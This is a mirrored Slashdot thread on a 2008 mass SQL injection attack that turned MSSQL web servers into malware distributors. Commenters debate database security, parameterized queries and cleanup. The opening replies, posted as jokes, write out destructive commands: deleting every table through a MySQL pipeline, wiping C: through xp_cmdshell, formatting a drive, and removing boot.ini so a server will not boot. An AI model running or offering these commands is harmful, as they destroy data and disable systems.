Slashdot Mirror


New SQL Injection Attack Fuses Malware, Phishing

PainMeds tips a recent post in Secure Computing's research blog describing a new SQL injection attack that had infected thousands of MSSQL-based web servers by last weekend, turning them into malware delivery systems. The attack apparently rewrites the server's Web pages to include JavaScript which pushes malware to the visitor as if it were from the genuine site. Sites using Sybase might possibly be vulnerable, as it uses the same exploited syntax that MSSQL does. The post includes an example of the attack. Unlike most malware attacks, this one appears to originate from the site the user is actually visiting. From the blog: "'Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site... These web pages are associated with Web sites from around the world and supplying various content — including government sites, sales sites, real estate sites, and financial information sites among others."

202 comments

  1. DELETE FROM USER* by Anonymous Coward · · Score: 0

    echo 'show tables'|mysql slashdot|awk '{print "delete from " $1}'|mysql slashdot

    1. Re:DELETE FROM USER* by ianare · · Score: 2, Funny

      sure, send piped UNIX commands to a javascript living in a MSSQL server ...

    2. Re:DELETE FROM USER* by Corwn+of+Amber · · Score: 0, Flamebait

      Bah, only morons use MSSQL anyway. Who wants to pay for that when any neighbourhood kid with eight hours of free time can go on the scary machine, enact an esoteric ritual and you've got a LAMP stack?

      --
      Making laws based on opinions that stem up from false informations leads to witch hunts.
    3. Re:DELETE FROM USER* by Bert64 · · Score: 1

      Yes, with MSSQL you want to send:

      exec xp_cmdshell 'del c:\*.*';

      Or something similar, my grasp of dos commandline is rather weak, being primarily a unix user.

      Who the hell thought it would be a good idea to allow users of an sql database the ability to execute arbitrary system commands?

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    4. Re:DELETE FROM USER* by Anonymous Coward · · Score: 1, Insightful

      By default, that is switched off.
      So, no - you can't do that out of the box.

    5. Re:DELETE FROM USER* by beckerist · · Score: 1

      format c: /q

      and wouldn't that only work at formatting the server?

    6. Re:DELETE FROM USER* by Anonymous Coward · · Score: 0

      exec xp_cmdshell 'rm /s C:\';

    7. Re:DELETE FROM USER* by Anonymous Coward · · Score: 2, Informative

      Only starting in SQL Server 2005 iirc... Do you have any idea how many people use MSDE 2000 still??? It's scary.

      Absolutely not true. xp_cmdshell is denied by default in MSDE 2000 (and sql server 2000).

      Incidentally, there is nothing inherently wrong with MSDE from a security standpoint. MS still releases patches for it. MSDE is a solid, ACID-compliant database (unlike a popular open-source database that also starts with the letter M). MSDE is the same robust database engine as its bigger brother, sql server 2000.

      MSDE does have size limits (2 gig per database) and performance limits (more than 5 concurrent threads and it starts to slow down), but if those limits are acceptable for your application it's great.

    8. Re:DELETE FROM USER* by LordSnooty · · Score: 2, Informative

      Either way, blitzing the server is probably the worst way to turn it into a malware delivery bot.

    9. Re:DELETE FROM USER* by Nefarious+Wheel · · Score: 2, Funny

      Poor little Bobby Tables, copping it on the chin again http://xkcd.com/327/

      --
      Do not mock my vision of impractical footwear
    10. Re:DELETE FROM USER* by jtcm · · Score: 1

      MSDE is a solid, ACID-compliant database (unlike a popular open-source database that also starts with the letter M).

      If you're talking about MySQL, you're incorrect. MySQL with the InnoDB engine is absolutely ACID compliant.

      --
      @ASP.NET's parent-teacher meeting: "Little Johnny.NET is very bright, but he doesn't play well with others."
    11. Re:DELETE FROM USER* by Opportunist · · Score: 1

      Depends. If the admin has no choice but using remote control software to bring it back up, you might get a good chance to hit the server before every service pack and patch could be applied.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    12. Re:DELETE FROM USER* by Anonymous Coward · · Score: 0

      If you're talking about MySQL, you're incorrect. MySQL with the InnoDB engine is absolutely ACID compliant.

      But can I still store Feb 30, 2008 in a date field? Woohoo!

    13. Re:DELETE FROM USER* by X0563511 · · Score: 3, Informative

      More likely to work:

      del c:\boot.ini

      Then, next time it's rebooted... it doesn't come up. It's not something noticeable right away.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    14. Re:DELETE FROM USER* by dotgain · · Score: 4, Funny
      Well, it's more scalable then, innit?

      Let's see who's laughing when the Political Correctness brigade catch up with the Gregorian Calendar and hold it to task for picking on poor, old February.

    15. Re:DELETE FROM USER* by SQLGuru · · Score: 1

      I've been using SQL Server since 4.3 on OS/2 1.1 (94) and I can say that it was not enabled by default then. You had to specifically grant it to the user if you wanted to use it.

      And as always, if you don't do string building and have properly bound variables, it's REALLY hard to get hit by a SQL Injection attack.

      Layne

    16. Re:DELETE FROM USER* by Architect_sasyr · · Score: 1

      Just off hand, if I posted some "compliance" information about MSSQL from the Microsoft website would you have believed it?

      --
      Me failed English...
      FreeBSD over Linux. If my comments seem odd, this may explain...
    17. Re:DELETE FROM USER* by ozphx · · Score: 0, Troll

      MySQL with the X storage engine doesn't suffer from Y!

      This makes MySQL the fastest, most available, most featured, most reliable and honest to god linearly scalable database ever invented!

      --
      3laws: No freebies, no backsies, GTFO.
    18. Re:DELETE FROM USER* by ribasushi · · Score: 0, Informative
      I at least can not:

      rabbit@Thesaurus:~$ mysql ccs_data
      Reading table information for completion of table and column names
      You can turn off this feature to get a quicker startup with -A

      Welcome to the MySQL monitor. Commands end with ; or \g.
      Your MySQL connection id is 205
      Server version: 5.0.51a-11-log (Debian)

      Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

      mysql> SET SQL_MODE = 'TRADITIONAL';
      Query OK, 0 rows affected (0.00 sec)

      mysql> describe schema_version;
      | Field | Type | Null | Key | Default | Extra |
      | installed | datetime | NO | PRI | NULL | |
      | version | varchar(20) | NO | | NULL | |
      2 rows in set (0.00 sec)

      mysql> insert into schema_version values ('2008-02-30', 'abcd');
      ERROR 1292 (22007): Incorrect datetime value: '2008-02-30' for column 'installed' at row 1
      mysql> insert into schema_version values ('2007-02-29', 'abcd');
      ERROR 1292 (22007): Incorrect datetime value: '2007-02-29' for column 'installed' at row 1
      mysql> insert into schema_version values ('2007-02-28', '12345678901234567890extra');
      ERROR 1406 (22001): Data too long for column 'version' at row 1
      mysql> insert into schema_version values ('2007-02-28', '12345678901234567890');
      Query OK, 1 row affected (0.00 sec)

      mysql> quit
      Bye
      rabbit@Thesaurus:~$

      Some more reading for the uninformed:
      http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html
      http://dev.mysql.com/doc/refman/5.0/en/server-session-variables.html#option_mysqld_sql_auto_is_null

  2. Comment removed by account_deleted · · Score: 5, Insightful

    Comment removed based on user account deletion

  3. malware + phishing = by Anonymous Coward · · Score: 4, Funny

    malware + phishing = phalware?

    1. Re:malware + phishing = by Anonymous Coward · · Score: 0

      I was hoping for mishing.

    2. Re:malware + phishing = by Freeside1 · · Score: 1

      'phishware' must've been too obvious

    3. Re:malware + phishing = by FooAtWFU · · Score: 2, Funny

      Phailware. You get it from web sites who phail at security?

      --
      The World Wide Web is dying. Soon, we shall have only the Internet.
    4. Re:malware + phishing = by Anonymous Coward · · Score: 0

      no, it is Malwishing.

    5. Re:malware + phishing = by Seraph787 · · Score: 1

      I prefer the term
      MAlware + phiSHING = mashing!

    6. Re:malware + phishing = by hostyle · · Score: 0

      mallic phacking ?

      --
      Caesar si viveret, ad remum dareris.
    7. Re:malware + phishing = by cleatsupkeep · · Score: 1

      mallic phacking ?

      Phallic macking? What?

    8. Re:malware + phishing = by Opportunist · · Score: 2, Funny

      Well, there are worse composite buzzwords...

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
  4. The internet has gone to the dogs. by Kingrames · · Score: 0

    No wonder my dogs are always barking at the Squirrels.

    --
    If you can read this, I forgot to post anonymously.
    1. Re:The internet has gone to the dogs. by Allicorn · · Score: 1

      The internet was always populated by dogs - just that nobody knew.

      --
      OMG!!! Ponies!!!
  5. fixes? by Anonymous Coward · · Score: 0

    Anyone know of a good way to scan through all databases and tables on a server to search for any code? Currently I know 'we' have around 200 databases with over 10,000 tables total. It would be bad to see any of these DBs compromised.

    1. Re:fixes? by Tridus · · Score: 2, Informative

      Take a look at the article from this comment, it has a "use at your own risk" procedure. You could probably modify it appropriately.

      http://it.slashdot.org/comments.pl?sid=643879&cid=24574393

      --
      -- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
    2. Re:fixes? by morgan_greywolf · · Score: 0, Redundant

      1. Install *nix
      2. Install PostgreSQL
      3. Convert tables from MSSQL to PostgreSQL
      4. ???
      5. Profit!

    3. Re:fixes? by johnathan · · Score: 2, Informative
      I've used that procedure for a couple clients with success. There are two things you have to consider, since if you've been hit once, you've probably been hit multiple times.
      1. Some fields have probably hit their maximum length, causing the last injected script tag to be truncated, so this procedure will miss them. Clean these up manually so that the field ends in "</script>" (the closing tag for the previous injected script tag). Of course, you could just manually clean up the whole field at this point, but I found it easier to just fix the end and then let the SQL script do the rest of the work.
      2. You'll need to execute the procedure multiple times, since each time will only remove one script tag from each field.
      --
      You don't need a weatherman to know which way the wind blows.
    4. Re:fixes? by Tridus · · Score: 1

      4. Wait for someone to realize your code still has SQL injection vulnerabilities, and just write an attack query in PGSQL syntax instead.

      --
      -- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
    5. Re:fixes? by DeAgua · · Score: 1

      That "queer"y wouldn't even pass a syntax check.

    6. Re:fixes? by domanova · · Score: 1

      Correct. It's probably less likely with postgres, because it isn't as common, but I could write crap code on my linux/tomcat/postgres stack to let in such an attack. Well, I say I could, but I'd probably bite my arm off first.

      --
      Down with categorical imperatives
    7. Re:fixes? by Anonymous Coward · · Score: 0

      Postgresql doesn't have clustered indexes.

    8. Re:fixes? by Jaime2 · · Score: 1

      Then, if you were a victim of this attack, realize that you are still an idiot and you build a *nix system that is just as poorly configured as your previous Windows system.

    9. Re:fixes? by Anonymous Coward · · Score: 0

      give me a break, I wrote it on the fly in 30 seconds. Also, you're use of "queer" is the lamest thing I've seen in a while, and I read reddit when I'm bored.

    10. Re:fixes? by smellotron · · Score: 1

      It's probably less likely with postgres

      You mean like the UTF-8 \'-escaping vulnerability?. That one was a pretty big deal for anyone with an international database, since

      • UTF-8 is the most common character encoding for "universal" usage
      • PHP is one of the most common languages for web applications, and the default escaping mechanism is \'.

      The best part is that you don't even have to write crap code to get hit by that... "Moderately shady" is bad enough to be vulnerable.

    11. Re:fixes? by morgan_greywolf · · Score: 1

      "Moderately shady"-to-crap PHP code is what gives PHP a bad name. Not that PHP is a bad tool, per se, it's just that there are so many terrible PHP coders. Hence the reason PHP is often called the 'Visual Basic' of the Web. Visual Basic isn't (wasn't? VB.net isn't VB.) a terrible tool, there were just so many terrible VB coders.

      I like mod_python, and particularly Django for Web apps. Then again, I just like Python a lot in general. ;)

    12. Re:fixes? by morgan_greywolf · · Score: 1

      I am most certainly not a furry. Now politely go fuck off and die.

    13. Re:fixes? by morgan_greywolf · · Score: 1

      And? Whether you need clustered indexes or not depends on your application.

  6. Re:Not really new by Anonymous Coward · · Score: 1, Funny

    No I didn't see this coming you insensitive clod.. I'm blind.

  7. Saw this 1 month ago by Anonymous Coward · · Score: 1, Interesting

    I saw attacks that were the same as this 1 month ago in our webserver logs

    1. Re:Saw this 1 month ago by hostyle · · Score: 0

      You may have. Did it use generated iframes to inject the malware like the previous versions? Or inline javascript like this one? Very similar, but probably enough difference to make it worthy of a new alert.

      --
      Caesar si viveret, ad remum dareris.
    2. Re:Saw this 1 month ago by Target+Practice · · Score: 1

      I just like knowing others are seeing this. I should really be more lazy, though. I spent yesterday morning casting those numbers (and variants I found in my logs) to CHARs in MySQL to see what the crap they were trying to do.

      Ah, /.! Another reason to just stop trying.

      --
      There's a 68.71% chance you're right.
  8. Attempts made on our systems... by Anonymous Coward · · Score: 2, Informative

    Our web apps got hammered with this over the weekend... our simple but effective SQL injection block kept them out, but it is also comforting to know that even if it had not, it would not have worked on good ol' MySQL 4.1

    Also, for what its worth, all of the IPs (100s of them used in the course of 3 days) trace back to ISPs based in Beijing. Hmmm...

    1. Re:Attempts made on our systems... by corsec67 · · Score: 3, Funny

      Also, for what its worth, all of the IPs (100s of them used in the course of 3 days) trace back to ISPs based in Beijing. Hmmm...

      The Olympics are trying to hack your webserver?

      I wasn't aware that Server CTF was an Olympic sport.

      --
      If I have nothing to hide, don't search me
    2. Re:Attempts made on our systems... by isomeme · · Score: 2, Funny

      In Communist China, the Olympics hacks you!

      --
      When all you have is a hammer, everything looks like a skull.
    3. Re:Attempts made on our systems... by DotNetZombie · · Score: 1

      Our system got hit a couple months ago... since then the attacks have lessend and I only log a few IPs every couple days or so. I noticed a lot of the attacks did come from China as well, however, a good portion of them came from Egypt, New York, and even some in Australia. So far I've logged attacks from 4 continents! :) There's unity in everything :)

      --
      Do these effectively hide my thunder?
    4. Re:Attempts made on our systems... by 74nova · · Score: 1

      all your medals are belong to us

      --
      use your turn signal! you people act like it's divulging information to the enemy
  9. Re:Not really new by linal · · Score: 0

    Although this isn't really new why do SQL injection attacks still occur. There are countless articles on how to protect yourself. Or do the webmaster simply not care?

  10. $conn_id = mysql_connect("microsoft.com") by Aardpig · · Score: 2, Funny

    UPDATE management SET perf_review='Epic Fail' WHERE jobtitle='MSSQL Engineer';

    --
    Tubal-Cain smokes the white owl.
    1. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 5, Insightful

      You'd have to be an idiot programmer to have a site succumb to this... It's not even "microsoft specific".

      It would affect any site that takes request parameters and passes them straight through to the db engine (well, not specifically this syntax, but the concept behind the attack).

      To be fair to Microsoft (heresy here, I know) asp.net built-in validation throws an exception.

      In other words, not only would a programmer have to use raw request string data with the db, he would also have had to specifically disabled the default page validation. In other words, an idiot.

      My website got hit with this type of attack last week, and the attempts were all rejected by the default validation. Even if the default validation had got past, all of the database queries use parameterized stored procedure calls which pretty much ignore this kind of crap anyway.

      Still, it's made me think more about security and additional parameter validation. Maybe the next attack will be a bit sneakier..

    2. Re:$conn_id = mysql_connect("microsoft.com") by Knux · · Score: 1

      The SQL statement itself scans through all of the tables in the database

      correct me if i'm wrong...

      but even if the programmer is in fact an idiot, the sql injection attack shouldn't be able to scan the data dictionary and retrieve all tables, so it could be able do corrupt the data in each and every one of them. this piece, i think, is MS fault.

    3. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      You are wrong.

    4. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      That's not a microsoft problem.
      I don't know the structure of other dbs such as Oracle and mysql, but I assume they store the user table structure in system tables?

      If that's the case then they could be affected too.

      It's the developer's responsibility to ensure that the sql logon account used to access/update the database has only the necessary permissions, not Microsoft's.

      Note: I'm not a huge microsoft fanboi, but it really isn't their fault that developers using their tools write crappy code.
      That happens on linux too!

    5. Re:$conn_id = mysql_connect("microsoft.com") by Tridus · · Score: 1

      It looks like its creating a procedure and then running it, which can do that. Technically I guess you could blame MS, but it'd be like blaming them because a third party used Visual Studio to write a program with a buffer overflow, which got exploited and was used to run a spambot.

      They've been giving people the tools to prevent SQL injection for a very long time now. That its still happening isn't their fault, any more then its the fault of <language that lets people run direct SQL>.

      Take a look down here for more info: http://it.slashdot.org/comments.pl?sid=643879&cid=24574393

      --
      -- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
    6. Re:$conn_id = mysql_connect("microsoft.com") by dvice_null · · Score: 1

      > If that's the case then they could be affected too.

      But for some reason they are not. This means that either
      a) It is Microsoft's fault after all
      b) People who use MSSQL write more crappy code than those who use e.g. MySQL
      c) Attackers only target MSSQL for some unknown reason. Which means that it is less secure by default.

      So, which option would you like to take. Or do you see some other options?

    7. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      option a:
          - Microsoft has a lot of boxes out there. If you're writing this kind of thing, you'll get a good hit rate. It's Microsoft's fault if you blame them for having a lot of people using sql server.

      Not only that, but Microsoft (whether you like them or not) make some extremely good developer tools.
      That lowers the barrier for entry: In other words, there are more idiot level programmers using Microsoft stuff because the tools are easier to use.

      Option b) See above.

      Option c) strawman argument. See option a)

      Of course, if you're determined to make it Microsoft's fault you can, but I strongly suspect that the same type of attack would be common on LAMP if the barrier for programmer entry were as low.

    8. Re:$conn_id = mysql_connect("microsoft.com") by rdavidson3 · · Score: 0

      More like a T-SQL problem than a MS problem.

    9. Re:$conn_id = mysql_connect("microsoft.com") by dvice_null · · Score: 2

      According to this study, there are more MySQL users than there are MSSQL users. So there goes down pretty much all your arguments (unless you can provide better source for database market share):
      http://www.mysql.com/why-mysql/marketshare/

      > there are more idiot level programmers using Microsoft stuff

      Can't disagree with that argument.

    10. Re:$conn_id = mysql_connect("microsoft.com") by ozphx · · Score: 1

      Yeah I mentioned before, crap .Net devs almost universally have this idea that the data-access-for-noobs in the IDE is crap (mostly correct), that its not good enough for their "enterprise" app (probably incorrect), and the decent tools you can buy are "not good enough" (incorrect), and that they can do a better job with a code-generator (laughably wrong and leads to the epic fail we see here).

      My favourite was the place that did all data access via a web service "for security", but still hit the SQL server box directly for some third party graphing crap. They just didnt understand that any attacker probably wouldn't follow the "All attacks on db server plz go thru the webservice" sign :)

      --
      3laws: No freebies, no backsies, GTFO.
    11. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      DBIx::Class for the win.

    12. Re:$conn_id = mysql_connect("microsoft.com") by Kahless2k · · Score: 1

      First of all, this is not new. My logs have shown attempted attacks like this for over a month.

      Second, the attack vector is not simply requesting parameters and passing them to the database; the code is sent as part of the querystring, which the server parses causing the code to be executed which appends the script call into most text fields in your database, in every record.

      Default validations do NOT catch all the attempts, certainly most, but the odd one does get through validation - at this point, it doesnt matter how you coded your queries, as long as you have tables with text fields you are just as screwed - the code simply hits every table. Again, you do NOT have to pass this code to the database in your script to be vulnerable

      There are modules to beef up the validation, and they work well to prevent this, but you dont have to be an idiot to be hit - and I resent that statement.

      And yes, I operate a couple dozen sites across a number of servers and can see this activity clearly in my logs and have one or two successful attacks on fully patched servers to draw my information from.

    13. Re:$conn_id = mysql_connect("microsoft.com") by unlox775 · · Score: 1

      You'd have to be an idiot programmer to have a site succumb to this...

      I'd have to say I disagree. I've been trying for a long time to convince many other coders I know to sanitize inputs. But the default way most coders seem prefer is concat'ing strings together to make their SQL statements. They don't want to use "bind" variables because it's too much work. I'm not saying it's not stupid, just that it's not uncommon.

      Then there's the nature of this attack... Yes SQL injection has been around for a while, but in most SQL injection you either: 1) need to guess the name of a table and 2) needed to guess the name of one of the columns --BOTH of which take time to brute force, and only get you into One table on One site.

      The reasons this exploit is so bad (and why it really is MS fault) is the nature of the attack. This (http://hackademix.net/2008/04/26/mass-attack-faq/) article shared by johnathan (44958) spells it right out:

      1) "due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site"
      2) It makes use of the ability to assemble and "eval" SQL statements (and full stored procedures) on the fly from within a "SELECT" SQL statement! In the article it says this "powerful" DB technology is "a feature, not a bug". So don't expect for MS to release a patch that will plug this...

      Usually SQL injection takes time to brute force, this attack is a 0-day single-shot that corrupts all text fields in all tables at once (it reads the SQL schema dictionary). And it doesn't matter which field it injects into. If you're not already sanitizing inputs, then it's actually likely that the first web hit you get from this bot will be the one that destroys.

      This hack took down one of our sites 5 or 6 times in the last month. It's not our code. We inherited an IIS/VBScript/MSSQL nightmare and are busy rewriting the system from scratch in a LAMP stack. As it's not our code and we haven't gone through all of it, we just patch the holes as we find them. As the article says, the only way to protect against this is a complete code review (and in our case, rewrite) of every SQL query your app runs (1000+ of them). Oh, and don't miss one.

      Moral of the story: don't assume that your code is SQL injection safe, or that your engineer isn't an "idiot", dump MSSQL asap, or find an option to turn off the "eval" function. If even one out of the thousand forms you have on your site has a single field that is not sanitized, this bot attack will crawl and find it.

      Hope this helps somebody... :)

    14. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      I think your problem is that you just see things in black and white.

      An analogous attack would work on mysql too.
      It's not the database - it's the handling of web-site request strings.

      I guarantee that if a mysql-backed website passes unprocessed input straight to the database, any kiddie could trash it.

      So get off your damn kiddie 'zomg micro$oft sux0rs' high horse...http://it.slashdot.org/it/08/08/12/1943217.shtml#

    15. Re:$conn_id = mysql_connect("microsoft.com") by Anonymous Coward · · Score: 0

      Point me at a comparable LAMP configuration with the same type of vulnerability (passing raw request data through to the db without sanitizing) and I'll show you a compromised server.

      Stop pretending that MySql is somehow immune to this. You're beginning to sound like a shill.

  11. Sigh... by jellomizer · · Score: 1

    Why is using stored procedures so taboo. It is a very easy way to protect against most SQL Injections. It also allows you to share the database logic to different apps as well, allowing more integration across your other apps. update x set x.y=@varname where x.j=@find is so much more secure then sql_exec("update x set x.y='"+varname+"' where x.j='"+find)

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    1. Re:Sigh... by Anonymous Coward · · Score: 1, Insightful

      It's so easy to protect from sql injection without using stored procedures too. Only someone not understanding the details involved would claim otherwise.

    2. Re:Sigh... by Anonymous Coward · · Score: 2, Insightful

      The whole SP vs inline sql debate is an entirely different kettle of fish (btw stored procs suck =P). The easiest way to protect against sql injection is parameterise your sql (yes you can do that with inline sql!). Next easiest thing - realise that everything from outside the system is essentially user input and treat it as such.

      I use .NET / Sql Server on a daily basis - it isn't hard to make these kind of attacks a non-event, the problem is the multitude of drag and drop developers who have nfi what they are doing. If only software development required a license to practise =)

    3. Re:Sigh... by PotatoFarmer · · Score: 1

      Using parameterized queries with bind variables is even easier, and doesn't split your logic between the app and database tiers.

    4. Re:Sigh... by jellomizer · · Score: 1

      It really depends on the setup though. For the most part I am working in places with a hefty Database Servers and apps that often do the same thing with different interfaces. For this case a lot of stored procedures and interface shells of apps tend to do the trick, as updates update all the systems at once and there is a single location to adjust security. For cases where you are working on big app with a small database server for its use. Just parameterizing queries are ok. But I found using stored procedures makes you look like a mirical worker as for most problems you can fix very quickly and it is live and up to date without many deployment issues (this is with .NET, working with PHP on the server doesn't really have those problems)

      --
      If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    5. Re:Sigh... by PotatoFarmer · · Score: 1

      I agree, it does depend on your requirements, and it does sound like stored procs are the appropriate choice for your environment. That being said, if you ever need to support more than one database you're kinda screwed if you're heavily invested in stored procedures. I've run into this sort of problem before, and it isn't pretty.

    6. Re:Sigh... by grassy_knoll · · Score: 1

      You can also run into problems in supporting multiple databases without using stored procedures.

      DB specific functions can cause a similar amount of grief. Like porting SQL Server code to Oracle, then getting errors when trying to use a GETDATE() function.

    7. Re:Sigh... by BlackSnake112 · · Score: 1

      If your a good DBA you always want to know how a web site/app/developer/etc is accessing your database. You only give that person/app/what ever the access it needs to work no more. If you can control how they update, insert, select, and delete data from the system the better off you are. The developers may not like it, but you are doing your job if you make sure that they cannot take down or damage the database system or the integrity of the data in the system.

      Most likely every developer and contractor is going to disagree with me on this. Then again, are those people the ones whose head is going to roll if the database system is not working as the bosses expect it to?

    8. Re:Sigh... by PotatoFarmer · · Score: 1

      True. Date functions are not as portable as they probably should be. Artificial key generation and LOB allocation tend to be very specific as well.

      I'm not saying that using stored procedures are avoid-at-all-costs bad, or that not using stored procedures means your app is instantly portable between Access and Oracle and everything in between, but it's been my experience that stored procedures, functions, and triggers are the hardest thing to migrate between different database types.

    9. Re:Sigh... by ca111a · · Score: 1

      because sometimes your app has to work with multiple DMBS

    10. Re:Sigh... by larry+bagina · · Score: 1

      that's not a stored procedure, it's a prepared statement.

      --
      Do you even lift?

      These aren't the 'roids you're looking for.

    11. Re:Sigh... by psyclone · · Score: 1

      Why is using stored procedures [to prevent SQL injections by creating an in-DB 'api'] so taboo?

      ORM (object relational mapping) tools can't speak your stored procedure API.

    12. Re:Sigh... by Vancorps · · Score: 1

      Isn't that specifically why you should use stored procedures? Then you only have to change your connection string in your code and change the functions in the procedures as necessary.

      Of course I'm a dba so I think changing a proc is easier than changing code. I think a healthy division of the work is a good thing though. Why write code in your app to do what the db already can?

    13. Re:Sigh... by Nutria · · Score: 1

      DB specific functions can cause a similar amount of grief. Like porting SQL Server code to Oracle, then getting errors when trying to use a GETDATE() function.

      This is where SPs can make your code more portable by creating a compatibility layer that does A on Oracle, and B on MSSQL.

      --
      "I don't know, therefore Aliens" Wafflebox1
    14. Re:Sigh... by Jaime2 · · Score: 2

      Who cares what the DBA wants to know (except the DBA). Do we build business processes to access the database, or databases to support business needs? The simple fact is that the demand to use stored procedures is nothing other than a power grab by DBAs. The SQL Injection in the original article was caused by idiot front end developers who made several compounding mistakes. Are you suggesting that these monumental idiots wouldn't have called the stored procedures from the query string if you forced them to use stored procedures?

    15. Re:Sigh... by Jaime2 · · Score: 1

      But, it also encourages more logic in the database. If the logic were in the middle tier instead of in stored procedures, there wouldn't be a need to rewrite anything when switching database platforms.

    16. Re:Sigh... by blincoln · · Score: 1

      The simple fact is that the demand to use stored procedures is nothing other than a power grab by DBAs.

      Uh, I use stored procedures and I'm not a DBA. I do it because:

      - They run faster (since the server saves the execution plan).
      - They let me handle data processing on the server if I want instead of transferring the raw data over the network to the app server and then processing it there.
      - They provide task-based granular security at the database layer, so I can control exactly what certain IDs can call.

      --
      "...always new atoms but always doing the same dance, remembering what the dance was yesterday." -Richard Feynman
    17. Re:Sigh... by SQLGuru · · Score: 2, Interesting

      It depends on your definition of DBA. In the large companies I've worked at, the DBA administers the database but the application developers develop the tables within them. DBA = backup, tablespaces, etc. App Dev = db contents. I'm a database developer and would never claim to be a DBA (although SQL Server is easy enough that I could get by in a pinch).

      Layne

    18. Re:Sigh... by Jaime2 · · Score: 1

      - Prepare-and-execute runs just as fast as stored procedures and gets cached exactly like stored procedures do.
      - Prepared statements still process data and the server. Not using stored procedures doesn't mean that you have to extract raw data.
      - The task based security you claim only works if you run the entirety of that logic unit on the server written in SQL. T-SQL is an utterly horrible language. I get to run my code on the server when I choose to do so and run it on an app server when I choose to do so. I also get to control exactly what certain IDs can call, I simply choose to use the best technology for the job at hand instead of always using stored procedures.

      Don't get me wrong, I'm not anti-stored procedure. I'm simply not pro-stored procedure. I do a lot of my coding in stored procedures, a lot in triggers, and a lot in user-defined functions. Every time I choose one of these solutions, I have a specific reason for doing so. My reasons are almost never performance and seldom security. For example, I might make a complex data retrieval process for a report into a stored procedure because it is easier to maintain than a large blob of SQL buried in a report. Since I don't do my report rendering on user workstations, security never plays a role. My report-only users can't even log into the database server, let alone read any data from it. On the other hand, burying the SQL in the report makes it easier to deploy. I maintain my own dependency database, so I will always know which report would be affected by a schema modification whether I use a stored procedure or not. Besides, you can't trust sp_depends. If you rebuild a db and run the sp scripts in the wrong order, it will be wrong.

    19. Re:Sigh... by ozphx · · Score: 1

      Under MSSQL all queries have gone via the execution plan cache since version 6 or 7.

      For data processing, go for it. For CRUD, using sproc cripples your ability to use tools like Diamond Binding, and reduces performance.

      You should be permissioning tables anyway, in addition to permissioning sprocs.

      Blanket design guidelines only help you keep noobs under control - theres nothing worse (but its funny) then getting paid contractor rates to follow some weird guidelines that someone had come up with. Worst I had was some stupid ass code formatting rule that didn't play nice with Visual Studios auto-formatting. I'd spend a literal 20% of my time tab+spacing out code ;)

      --
      3laws: No freebies, no backsies, GTFO.
    20. Re:Sigh... by PitaBred · · Score: 1

      If your DBA can't be used as a resource for optimizing and properly designing queries and stored procedures, you need to find another DBA.

    21. Re:Sigh... by grassy_knoll · · Score: 1

      I tend to agree myself, although a number of developers seem frightened of putting application logic in the database.

      Seems they'd rather try to get something like websphere to share functionality rather than let two applications use the same stored procedure.

    22. Re:Sigh... by Vancorps · · Score: 1

      I can understand an additional middle tier approach with something like a websphere approach which gives you another level of abstraction. In truly large environments this makes sense.

      4 tiers is a lot of work and creates a lot of places where things can go wrong which is why I like the 3 tier approach which is more like a traditional hub and spoke type model. Application servers can be clustered and load-balanced to achieve necessary performance, reporting servers and data-sources can similarly be scaled out and the best part is that there isn't any added complexity as troubleshooting is always limited between two points instead of n points in an n-tier system.

      I think the main concern about reusing stored procedures is that db documentation is usually separate from application documentation and so its easy to disconnect, one app might require a change to the proc while the other app depends on the proc performing the way it does. Of course if its well documented then you'd know to just create a new proc for the app requiring a change.

    23. Re:Sigh... by Anonymous Coward · · Score: 0

      Indeed, programmer's who don't know how to use stored procedures and don't know the difference between "inline" and "parametrized" queries should have their license revoked immediately. Oh wait...

    24. Re:Sigh... by SQLGuru · · Score: 1

      Only a handful of the ones around here are capable enough to help tune queries. Besides, I'm usually the one called in to work with other groups to help them tune their queries. A DBA normally uses the "throw indexes" at it approach whereas I try to understand the logic of the query and rewrite it. Sometimes an index is the right solution, but more often rewriting the query is more than adequate. Rewriting procedures is exactly what I do as a database developer. I understand T-SQL and PL/SQL (as well as SQL -- which are all different if you weren't aware); a DBA understands how the data is distributed among the many disks to improve reads and database settings that affect how reads are performed, etc.

      The role I play is usually not a dedicated position in small companies (which is understandable), so the role falls to either the DBA or the App Dev team. Even within large companies, it isn't easy to find *good* database developers. And I rarely find anyone who thinks it's "cool" enough to learn......

      Layne

    25. Re:Sigh... by Nutria · · Score: 1

      But, it also encourages more logic in the database. If the logic were in the middle tier instead of in stored procedures, there wouldn't be a need to rewrite anything when switching database platforms.

      No doubt. But, middleware tends to also be proprietary, leading to the same vendor lock-in that SPs do,

      --
      "I don't know, therefore Aliens" Wafflebox1
  12. Re:Not really new by Bert64 · · Score: 2, Informative

    Yes, nothing new at all...
    People used to do this by compromising the site in other ways, and inserting their malware rather than defacing the site... Some subtle malware tagged to a site is a lot less obvious than a blatant defacement so it lasts a lot longer and gets more hits.

    --
    http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  13. Am I in a time warp? by johnathan · · Score: 4, Informative

    This attack has been going on for months... http://hackademix.net/2008/04/26/mass-attack-faq/

    --
    You don't need a weatherman to know which way the wind blows.
    1. Re:Am I in a time warp? by ShaunC · · Score: 1

